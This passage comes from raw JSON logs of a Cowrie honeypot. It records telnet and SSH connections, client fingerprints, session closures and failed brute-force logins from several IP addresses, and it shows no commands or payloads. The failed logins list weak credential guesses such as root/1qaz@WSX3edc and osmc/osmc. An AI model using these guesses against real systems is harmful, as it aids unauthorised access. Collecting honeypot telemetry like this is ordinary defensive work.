0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.362181Z","src_ip":"176.65.132.254","session":"9fe413d02b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.740227Z","src_ip":"176.65.132.254","session":"9fe413d02b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.176.226.106","src_port":44976,"dst_ip":"159.203.135.109","dst_port":23,"session":"8978f05e803f","protocol":"telnet","message":"New connection: 86.176.226.106:44976 (159.203.135.109:23) [session: 8978f05e803f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.814125Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5fd4b6d77d","protocol":"telnet","message":"New connection: 38.54.119.93:37942 (10.17.0.5:23) [session: fa5fd4b6d77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.950593Z"}
{"eventid":"cowrie.session.closed","duration":42.777844190597534,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:37.553197Z","src_ip":"65.60.27.33","session":"70b6fdbe420a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52158,"dst_ip":"159.203.135.109","dst_port":23,"session":"d69ccd4e2a40","protocol":"telnet","message":"New connection: 134.209.8.29:52158 (159.203.135.109:23) [session: d69ccd4e2a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:37.740191Z"}
{"eventid":"cowrie.session.closed","duration":42.84153604507446,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:37.792096Z","src_ip":"65.60.27.33","session":"fc0d8d740179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:37.838966Z","src_ip":"176.65.132.254","session":"9fe413d02b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0712616443634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:37.915873Z","src_ip":"62.210.97.77","session":"f610bb0b2ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41901683807373,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:38.237973Z","src_ip":"62.210.97.77","session":"784758105b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefcefddecb3","protocol":"telnet","message":"New connection: 62.210.97.77:59342 (10.17.0.5:23) [session: eefcefddecb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:38.825986Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59358,"dst_ip":"10.17.0.5","dst_port":23,"session":"f812b2947eda","protocol":"telnet","message":"New connection: 62.210.97.77:59358 (10.17.0.5:23) [session: f812b2947eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:38.915322Z"}
{"eventid":"cowrie.session.closed","duration":32.69477558135986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:39.963623Z","src_ip":"62.210.97.77","session":"6bf40710b7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"320788025c60","protocol":"telnet","message":"New connection: 38.54.119.93:40220 (10.17.0.5:23) [session: 320788025c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:40.452754Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":53986,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7ad964a6b20","protocol":"telnet","message":"New connection: 136.144.139.78:53986 (159.203.135.109:23) [session: c7ad964a6b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:40.527453Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46882,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4dcc9dcbbfb","protocol":"ssh","message":"New connection: 176.65.132.254:46882 (10.17.0.5:22) [session: b4dcc9dcbbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:40.899350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:40.905324Z","src_ip":"176.65.132.254","session":"b4dcc9dcbbfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:40.987758Z","src_ip":"176.65.132.254","session":"b4dcc9dcbbfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59374,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9865c5a10bd","protocol":"telnet","message":"New connection: 62.210.97.77:59374 (10.17.0.5:23) [session: e9865c5a10bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:41.057011Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59376,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa574586a29c","protocol":"telnet","message":"New connection: 62.210.97.77:59376 (10.17.0.5:23) [session: fa574586a29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:41.090664Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:41.242229Z","src_ip":"176.65.132.254","session":"b4dcc9dcbbfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59382,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b49dfe3296","protocol":"telnet","message":"New connection: 62.210.97.77:59382 (10.17.0.5:23) [session: 21b49dfe3296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:41.569672Z"}
{"eventid":"cowrie.session.closed","duration":33.94610404968262,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:41.889560Z","src_ip":"62.210.97.77","session":"b66d05109867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591935634613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:42.050144Z","src_ip":"136.144.139.78","session":"9d12366bf423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501217365264893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:42.062891Z","src_ip":"62.210.97.77","session":"fbdcef5dcd8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:42.338492Z","src_ip":"176.65.132.254","session":"b4dcc9dcbbfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59390,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d96dab96230","protocol":"telnet","message":"New connection: 62.210.97.77:59390 (10.17.0.5:23) [session: 2d96dab96230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:42.343126Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3313df8727","protocol":"telnet","message":"New connection: 62.210.97.77:59396 (10.17.0.5:23) [session: ce3313df8727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:42.660539Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.176.226.106","src_port":45438,"dst_ip":"159.203.135.109","dst_port":23,"session":"871100edf6bb","protocol":"telnet","message":"New connection: 86.176.226.106:45438 (159.203.135.109:23) [session: 871100edf6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:43.447145Z"}
{"eventid":"cowrie.session.closed","duration":0.003123044967651367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:43.450174Z","src_ip":"86.176.226.106","session":"871100edf6bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.4176025390625,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:43.695326Z","src_ip":"65.60.27.33","session":"7b0460d80cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437744617462158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:44.062669Z","src_ip":"136.144.139.78","session":"fb618cbd73d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"c58f984b9379","protocol":"telnet","message":"New connection: 62.210.97.77:59400 (10.17.0.5:23) [session: c58f984b9379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:44.821218Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57556,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5fe81bf0ba0","protocol":"ssh","message":"New connection: 176.65.132.254:57556 (10.17.0.5:22) [session: c5fe81bf0ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:44.872648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:44.877409Z","src_ip":"176.65.132.254","session":"c5fe81bf0ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:44.961636Z","src_ip":"176.65.132.254","session":"c5fe81bf0ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"efdf4598d193","protocol":"telnet","message":"New connection: 62.210.97.77:59416 (10.17.0.5:23) [session: efdf4598d193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:45.007583Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:45.216171Z","src_ip":"176.65.132.254","session":"c5fe81bf0ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.176.226.106","src_port":46210,"dst_ip":"159.203.135.109","dst_port":23,"session":"26bccca1656b","protocol":"telnet","message":"New connection: 86.176.226.106:46210 (159.203.135.109:23) [session: 26bccca1656b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:45.564717Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0caaafb4f53","protocol":"telnet","message":"New connection: 62.210.97.77:59432 (10.17.0.5:23) [session: c0caaafb4f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:45.862634Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:46.300641Z","src_ip":"176.65.132.254","session":"c5fe81bf0ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d255b2dbc005","protocol":"telnet","message":"New connection: 65.60.27.33:50768 (10.17.0.5:23) [session: d255b2dbc005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:47.384942Z"}
{"eventid":"cowrie.session.closed","duration":31.71318745613098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:48.408211Z","src_ip":"62.210.97.77","session":"632642ad23e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5427405834198,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:48.946608Z","src_ip":"62.210.97.77","session":"564083950f8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57564,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e984577789","protocol":"ssh","message":"New connection: 176.65.132.254:57564 (10.17.0.5:22) [session: 47e984577789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.156025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.160917Z","src_ip":"176.65.132.254","session":"47e984577789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.246816Z","src_ip":"176.65.132.254","session":"47e984577789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013792514801,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.501269Z","src_ip":"134.209.8.29","session":"6357547b5e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.176.226.106","src_port":46812,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc00bb66bc4","protocol":"telnet","message":"New connection: 86.176.226.106:46812 (159.203.135.109:23) [session: 8dc00bb66bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.526455Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.543753Z","src_ip":"176.65.132.254","session":"47e984577789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9977f98e42f6","protocol":"telnet","message":"New connection: 62.210.97.77:55102 (10.17.0.5:23) [session: 9977f98e42f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:49.949922Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:50.646461Z","src_ip":"176.65.132.254","session":"47e984577789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d943f0348b08","protocol":"telnet","message":"New connection: 65.60.27.33:55054 (10.17.0.5:23) [session: d943f0348b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:51.368026Z"}
{"eventid":"cowrie.session.closed","duration":33.364516258239746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:51.607782Z","src_ip":"62.210.97.77","session":"618513eec3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.123162031173706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:51.826654Z","src_ip":"62.210.97.77","session":"e3adf8fe7c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9861204624176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:51.894680Z","src_ip":"62.210.97.77","session":"bfcb96165b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56136,"dst_ip":"10.17.0.5","dst_port":23,"session":"806ec792f37d","protocol":"telnet","message":"New connection: 65.60.27.33:56136 (10.17.0.5:23) [session: 806ec792f37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:52.029934Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"64bc465feaa3","protocol":"telnet","message":"New connection: 136.144.139.78:35850 (159.203.135.109:23) [session: 64bc465feaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:52.782997Z"}
{"eventid":"cowrie.session.closed","duration":35.705594539642334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:53.006224Z","src_ip":"62.210.97.77","session":"0ed69f6672b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38616,"dst_ip":"10.17.0.5","dst_port":22,"session":"855dcd037d3e","protocol":"ssh","message":"New connection: 176.65.132.254:38616 (10.17.0.5:22) [session: 855dcd037d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:53.093453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:53.097728Z","src_ip":"176.65.132.254","session":"855dcd037d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:53.179474Z","src_ip":"176.65.132.254","session":"855dcd037d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:53.439051Z","src_ip":"176.65.132.254","session":"855dcd037d3e","protocol":"ssh"}
